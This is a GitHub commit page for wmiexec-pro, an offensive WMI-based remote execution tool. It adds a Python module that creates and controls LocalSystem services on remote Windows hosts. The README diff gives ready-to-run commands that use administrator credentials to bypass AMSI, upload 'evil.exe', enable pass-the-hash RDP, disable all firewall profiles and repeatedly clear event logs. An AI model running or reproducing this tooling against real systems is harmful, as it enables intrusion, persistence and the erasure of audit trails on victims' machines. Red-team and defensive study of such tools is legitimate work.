-
Notifications
You must be signed in to change notification settings - Fork 123
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Signed-off-by: XiaoliChan <[email protected]>
- Loading branch information
1 parent
ee81a73
commit 32cc5a8
Showing
6 changed files
with
218 additions
and
55 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -78,19 +78,19 @@ Enable/disable amsi bypass: | |
python3 wmiexec-pro.py administrator:[email protected] amsi -disable | ||
Execute command: | ||
python3 wmiexec-pro.py administrator:[email protected] exec-command -command "whoami" (slient) | ||
python3 wmiexec-pro.py administrator:[email protected] exec-command -command "whoami" -with-output (with output) | ||
python3 wmiexec-pro.py administrator:[email protected] exec-command -command "whoami" -with-output -save (with output and save output to file) | ||
python3 wmiexec-pro.py administrator:[email protected] exec-command -clear (remove temporary class for command result storage) | ||
python3 wmiexec-pro.py administrator:[email protected] exec-command -command "whoami" (Slient mode) | ||
python3 wmiexec-pro.py administrator:[email protected] exec-command -command "whoami" -with-output (With output) | ||
python3 wmiexec-pro.py administrator:[email protected] exec-command -command "whoami" -with-output -save (With output and save output to file) | ||
python3 wmiexec-pro.py administrator:[email protected] exec-command -clear (Remove temporary class for command result storage) | ||
Filetransfer: | ||
python3 wmiexec-pro.py administrator:[email protected] filetransfer -upload -src-file "./evil.exe" -dest-file "C:\windows\temp\evil.exe" (Upload file over 512KB) | ||
python3 wmiexec-pro.py administrator:[email protected] filetransfer -download -src-file "C:\windows\temp\evil.exe" -dest-file "/tmp/evil.exe" (download file over 512KB) | ||
python3 wmiexec-pro.py administrator:[email protected] filetransfer -clear | ||
python3 wmiexec-pro.py administrator:[email protected] filetransfer -download -src-file "C:\windows\temp\evil.exe" -dest-file "/tmp/evil.exe" (Download file over 512KB) | ||
python3 wmiexec-pro.py administrator:[email protected] filetransfer -clear (Remove temporary class for file transfer) | ||
RDP: | ||
python3 wmiexec-pro.py administrator:[email protected] rdp -enable (Auto configure firewall) | ||
python3 wmiexec-pro.py administrator:[email protected] rdp -enable-ram (enable Restricted Admin Mode for PTH) | ||
python3 wmiexec-pro.py administrator:[email protected] rdp -enable-ram (Enable Restricted Admin Mode for PTH) | ||
python3 wmiexec-pro.py administrator:[email protected] rdp -disable | ||
python3 wmiexec-pro.py administrator:[email protected] rdp -disable-ram (Disable Restricted Admin Mode) | ||
|
@@ -103,8 +103,20 @@ Firewall: | |
python3 wmiexec-pro.py administrator:[email protected] firewall -dump (Dump all firewall rules) | ||
python3 wmiexec-pro.py administrator:[email protected] firewall -rule-id (ID from search port) -rule-op [enable/disable/remove] (enable, disable, remove specify rule) | ||
python3 wmiexec-pro.py administrator:[email protected] firewall -firewall-profile enable (Enable all firewall profiles) | ||
python3 wmiexec-pro.py administrator:[email protected] firewall -firewall-profile disable (disable all firewall profiles) | ||
python3 wmiexec-pro.py administrator:[email protected] firewall -firewall-profile disable (Disable all firewall profiles) | ||
Services: | ||
python3 wmiexec-pro.py administrator:[email protected] service -action create -service-name "test" -display-name "For test" -bin-path 'C:\windows\system32\calc.exe' | ||
python3 wmiexec-pro.py administrator:[email protected] service -action create -service-name "test" -display-name "For test" -bin-path 'C:\windows\system32\calc.exe' -class "Win32_TerminalService" (Create service via alternative class) | ||
python3 wmiexec-pro.py administrator:[email protected] service -action start -service-name "test" | ||
python3 wmiexec-pro.py administrator:[email protected] service -action stop -service-name "test" | ||
python3 wmiexec-pro.py administrator:[email protected] service -action disable -service-name "test" | ||
python3 wmiexec-pro.py administrator:[email protected] service -action auto-start -service-name "test" | ||
python3 wmiexec-pro.py administrator:[email protected] service -action manual-start -service-name "test" | ||
python3 wmiexec-pro.py administrator:[email protected] service -action getinfo -service-name "test" | ||
python3 wmiexec-pro.py administrator:[email protected] service -action delete -service-name "test" | ||
python3 wmiexec-pro.py administrator:[email protected] service -dump all-services.json | ||
Eventlog: | ||
python3 wmiexec-pro.py administrator:[email protected] eventlog -risk-i-know (Looping cleaning eventlog) | ||
python3 wmiexec-pro.py administrator:[email protected] eventlog -retrive object-ID (Stop looping cleaning eventlog) | ||
|
@@ -151,12 +163,15 @@ Eventlog: | |
- For enable/disable: Restricted Admin Mode: control registry key `DisableRestrictedAdmin` via `StdRegProv` class. | ||
|
||
- winrm module: | ||
- For enable/disable: call `Start/StopSerivce()` method of `Win32_Service`. | ||
- For enable/disable: invoke service module. | ||
- For firewall rules: use module `firewall.py` to configure firewall of winrm. | ||
|
||
- firewall module: | ||
- Abusing `MSFT_NetProtocolPortFilter`, `MSFT_NetFirewallRule`, `MSFT_NetFirewallProfile` classes. | ||
|
||
- service module: | ||
- Abusing `Win32_Service` classes. | ||
|
||
- eventlog module: | ||
- Execute the vbs script file `ClearEventlog.vbs` without remove `event` and `consumer`. | ||
|
||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,147 @@ | ||
import logging | ||
import json | ||
|
||
from impacket.dcerpc.v5.dtypes import NULL | ||
|
||
ERROR_MSG = { | ||
0:"The request was accepted.", | ||
1:"The request is not supported.", | ||
2:"The user did not have the necessary access.", | ||
3:"The service cannot be stopped because other services that are running are dependent on it.", | ||
4:"The requested control code is not valid, or it is unacceptable to the service.", | ||
5:"The requested control code cannot be sent to the service because the state of the service (State property of the Win32_BaseService class) is equal to 0, 1, or 2.", | ||
6:"The service has not been started.", | ||
7:"The service did not respond to the start request in a timely fashion.", | ||
8:"Unknown failure when starting the service.", | ||
9:"The directory path to the service executable file was not found.", | ||
10:"The service is already running.", | ||
11:"The database to add a new service is locked.", | ||
12:"A dependency this service relies on has been removed from the system.", | ||
13:"The service failed to find the service needed from a dependent service.", | ||
14:"The service has been disabled from the system.", | ||
15:"The service does not have the correct authentication to run on the system.", | ||
16:"This service is being removed from the system.", | ||
17:"The service has no execution thread.", | ||
18:"The service has circular dependencies when it starts.", | ||
19:"A service is running under the same name.", | ||
20:"The service name has invalid characters.", | ||
21:"Invalid parameters have been passed to the service.", | ||
22:"The account under which this service runs is either invalid or lacks the permissions to run the service.", | ||
23:"The service exists in the database of services available from the system.", | ||
24:"The service is currently paused in the system." | ||
} | ||
|
||
class Service_Toolkit: | ||
def __init__(self, iWbemLevel1Login): | ||
self.iWbemLevel1Login = iWbemLevel1Login | ||
|
||
@staticmethod | ||
def checkError(banner, resp): | ||
call_status = resp.GetCallStatus(0) & 0xffffffff # interpret as unsigned | ||
if call_status != 0: | ||
from impacket.dcerpc.v5.dcom.wmi import WBEMSTATUS | ||
try: | ||
error_name = WBEMSTATUS.enumItems(call_status).name | ||
except ValueError: | ||
error_name = 'Unknown' | ||
logging.error('%s - ERROR: %s (0x%08x)' % (banner, error_name, call_status)) | ||
else: | ||
logging.info('%s - OK' % banner) | ||
|
||
def create_Service(self, serviceName, displayName, binaryPath, technique): | ||
iWbemServices = self.iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) | ||
self.iWbemLevel1Login.RemRelease() | ||
Service_ClassObject,_ = iWbemServices.GetObject(technique) | ||
# Format: Name, DisplayName, PathName, ServiceType, ErrorControl, StartMode, DesktopInteract, StartName, StartPassword, LoadOrderGroup, LoadOrderGroupDependencies, ServiceDependencies | ||
resp = Service_ClassObject.Create(serviceName, displayName, r'%s'%binaryPath, 16, 0, "Automatic", 0, "LocalSystem", "", "System", "", "") | ||
if resp.ReturnValue == 0: | ||
print("[+] Service %s created!" %serviceName) | ||
else: | ||
print("[-] Return value: {}, reason: {}".format( | ||
str(resp.ReturnValue), | ||
ERROR_MSG[resp.ReturnValue] | ||
)) | ||
iWbemServices.RemRelease() | ||
|
||
def control_Service(self, action, serviceName, iWbemServices=None): | ||
if iWbemServices is None: | ||
iWbemServices = self.iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) | ||
self.iWbemLevel1Login.RemRelease() | ||
try: | ||
Service_ClassObject,_ = iWbemServices.GetObject('Win32_Service.Name="%s"' %serviceName) | ||
except Exception as e: | ||
if "WBEM_E_NOT_FOUND" in str(e): | ||
print("[-] Service not found!") | ||
else: | ||
print("[-] Unknown error: %s" %str(e)) | ||
else: | ||
if action == "delete": | ||
resp = Service_ClassObject.Delete() | ||
elif action == "start": | ||
resp = Service_ClassObject.StartService() | ||
elif action == "stop": | ||
resp = Service_ClassObject.StopService() | ||
elif action == "disable": | ||
resp = Service_ClassObject.ChangeStartMode("Disabled") | ||
elif action == "auto-start": | ||
resp = Service_ClassObject.ChangeStartMode("Automatic") | ||
elif action == "manual-start": | ||
resp = Service_ClassObject.ChangeStartMode("Manual") | ||
elif action == "getinfo": | ||
record = dict(Service_ClassObject.getProperties()) | ||
print('[+] Service info: service name: "{}", display name: "{}", path: "{}", service type: "{}", start mode: "{}", service account: "{}", state: "{}", process id: "{}"'.format( | ||
# ConsentUxUserSvc_6728c | ||
record['Name']['value'], | ||
record['DisplayName']['value'], | ||
record['PathName']['value'], | ||
record['ServiceType']['value'], | ||
record['StartMode']['value'], | ||
"" if record['StartName']['value'] is None else record['StartName']['value'], | ||
record['State']['value'], | ||
str(record['ProcessId']['value']) | ||
)) | ||
|
||
try: | ||
if resp.ReturnValue == 0 : | ||
print("[+] Action done!") | ||
else: | ||
print("[-] Return value: {}, reason: {}".format( | ||
str(resp.ReturnValue), | ||
ERROR_MSG[resp.ReturnValue] | ||
)) | ||
except: | ||
pass | ||
|
||
iWbemServices.RemRelease() | ||
|
||
def dump_Service(self, save_FileName, iWbemServices=None): | ||
if iWbemServices is None: | ||
iWbemServices = self.iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) | ||
self.iWbemLevel1Login.RemRelease() | ||
iEnumWbemClassObject = iWbemServices.ExecQuery("SELECT Name, DisplayName, PathName, ServiceType, StartMode, StartName, State, ProcessID FROM Win32_Service") | ||
full_Results = {} | ||
while True: | ||
try: | ||
tmp_dict = {} | ||
firewall_PortClass = iEnumWbemClassObject.Next(0xffffffff,1)[0] | ||
record = dict(firewall_PortClass.getProperties()) | ||
tmp_dict['ServiceName'] = record['Name']['value'] | ||
tmp_dict['DisplayName'] = record['DisplayName']['value'] | ||
tmp_dict['PathName'] = record['PathName']['value'] | ||
tmp_dict['ServiceType'] = record['ServiceType']['value'] | ||
tmp_dict['StartMode'] = record['StartMode']['value'] | ||
tmp_dict['ServiceAccount'] = "" if record['StartName']['value'] is None else record['StartName']['value'] | ||
tmp_dict['State'] = record['State']['value'] | ||
tmp_dict['ProcessId'] = str(record['ProcessId']['value']) | ||
full_Results[tmp_dict['ServiceName']] = tmp_dict | ||
except Exception as e: | ||
if str(e).find('S_FALSE') < 0: | ||
pass | ||
else: | ||
break | ||
with open(save_FileName,'w') as f: f.write(json.dumps(full_Results, indent=4)) | ||
print("[+] Whole the services info are dumped to %s"%save_FileName) | ||
|
||
iEnumWbemClassObject.RemRelease() | ||
iWbemServices.RemRelease() | ||
# Todo: modify moudles |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.